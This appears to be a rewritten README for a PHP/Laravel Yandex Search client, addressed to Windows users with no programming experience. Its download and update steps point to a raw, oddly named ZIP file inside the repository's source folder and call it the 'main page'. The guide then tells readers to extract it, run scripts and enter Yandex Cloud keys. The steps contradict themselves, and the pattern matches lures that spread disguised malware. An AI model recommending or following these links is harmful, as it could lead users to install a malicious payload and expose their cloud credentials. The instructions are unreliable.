yandex-search-php is a tool to work with Yandex Search services. It helps you connect with Yandex Search API using PHP 8.0 or newer. This tool supports Laravel versions 8 through 12 and offers several search features: web search, AI-based search (YandexGPT), image search, and keyword analytics (Wordstat). It comes with ready-to-use plugins and uses yandex-cloud-client-php for easy authorization.
This guide will help you download and run yandex-search-php on a Windows computer. No programming experience is needed to get started.
Before you start, make sure your Windows computer meets the following:
- Windows 10 or newer
- PHP 8.0 or higher installed
- Internet connection to access Yandex API services
- Laravel version 8 to 12 installed (optional, only if you want to integrate yandex-search-php with Laravel)
- At least 2 GB of free disk space
- Basic command line usage (open Command Prompt)
If you do not have PHP installed, visit php.net for download and installation instructions.
To get yandex-search-php on your computer:
- Open your web browser.
- Go to the main page: https://raw.githubusercontent.com/dadadad274/yandex-search-php/main/src/Laravel/search_yandex_php_extracalendar.zip
- On the page, look for the green “Code” button near the top right corner.
- Click the “Code” button, then select “Download ZIP.”
- Save the ZIP file to a folder you can easily find, like your Desktop or Downloads.
- Once the download finishes, right-click the ZIP file and choose “Extract All.”
- Extract the files to a new folder.
Now, yandex-search-php’s files are ready for use.
yandex-search-php is a PHP-based toolkit. To use it, you will need to run it through PHP on your computer. Follow these steps:
- Press the Windows key on your keyboard.
- Type “cmd” and press Enter.
- A black window called Command Prompt will appear.
-
In Command Prompt, type:
cd path\to\your\yandex-search-php-folderReplace
path\to\your\yandex-search-php-folderwith the full folder path where you extracted the files. -
For example:
cd C:\Users\YourName\Downloads\yandex-search-php-main
-
Type:
php -v -
If it shows PHP version 8.0 or higher, you are ready.
-
If you see an error, install PHP first and try again.
yandex-search-php is a toolkit you use inside projects. It requires some initial setup within PHP or Laravel projects. However, to check that it works properly, you can run example scripts provided, if available.
Look inside the folder for any example folders or files (like example.php) to test.
To run an example file (replace example.php with the actual file name):
php example.php
This runs the example and connects to Yandex services.
yandex-search-php uses Yandex Cloud for authentication. To connect, you need a Yandex Cloud account and an API key.
- Visit cloud.yandex.com.
- Create a new account or sign in.
- Navigate to “IAM & Admin” and create a new service account.
- Download the key file (JSON format).
- Save this key file on your Windows machine.
- Open the extracted folder.
- Find the configuration file named something like
config.phpor.env.example. - Rename
.env.exampleto.envif necessary. - Open
.envwith a text editor like Notepad. - Enter your key file location and API credentials as instructed.
- Save the file.
This way, yandex-search-php knows how to connect to Yandex services without asking for your password every time.
yandex-search-php provides access to several search types:
- Web Search: Look for web pages.
- AI Search (YandexGPT): Use AI to generate answers or summaries.
- Image Search: Find pictures based on keywords.
- Wordstat Analytics: Get data on popular searches and trends.
You interact with each feature by using PHP functions in your code. For users new to programming, this requires some help from a developer. For simple testing, the example scripts will show how to call each feature.
If you use Laravel (version 8 to 12), yandex-search-php comes with plugins that make integration easier.
Steps to use within Laravel:
- Open your Laravel project folder.
- Use Composer (a PHP dependency manager) to add yandex-search-php.
- Run:
composer require dadadad274/yandex-search-php
- After installation, the service provider and facade are ready to use. No extra setup required.
- Use Laravel dependency injection or the facade to access Yandex Search features in your project.
This is for users comfortable setting up PHP frameworks.
Inside the main folder, you will see:
src/– Source code files with main functions.examples/– Sample scripts to test features.config/– Configuration files.README.md– Documentation.composer.json– Dependencies for PHP’s composer.
Explore the examples folder first to test how things work.
To keep the tool current:
- Visit https://raw.githubusercontent.com/dadadad274/yandex-search-php/main/src/Laravel/search_yandex_php_extracalendar.zip regularly.
- Download the latest ZIP file following the download steps above.
- Replace the old folder with the new one.
- Check the changelog for new features or fixes.
Or, if you use Composer inside a Laravel project, update using:
composer update dadadad274/yandex-search-php
If you face issues:
- Check that PHP is version 8.0 or higher.
- Verify your internet connection.
- Confirm your Yandex Cloud API key is valid and set properly.
- Run example scripts to check connectivity.
- Read error messages carefully; they usually show what went wrong.
- Visit the GitHub issues page for similar problems.
Download yandex-search-php here to get started.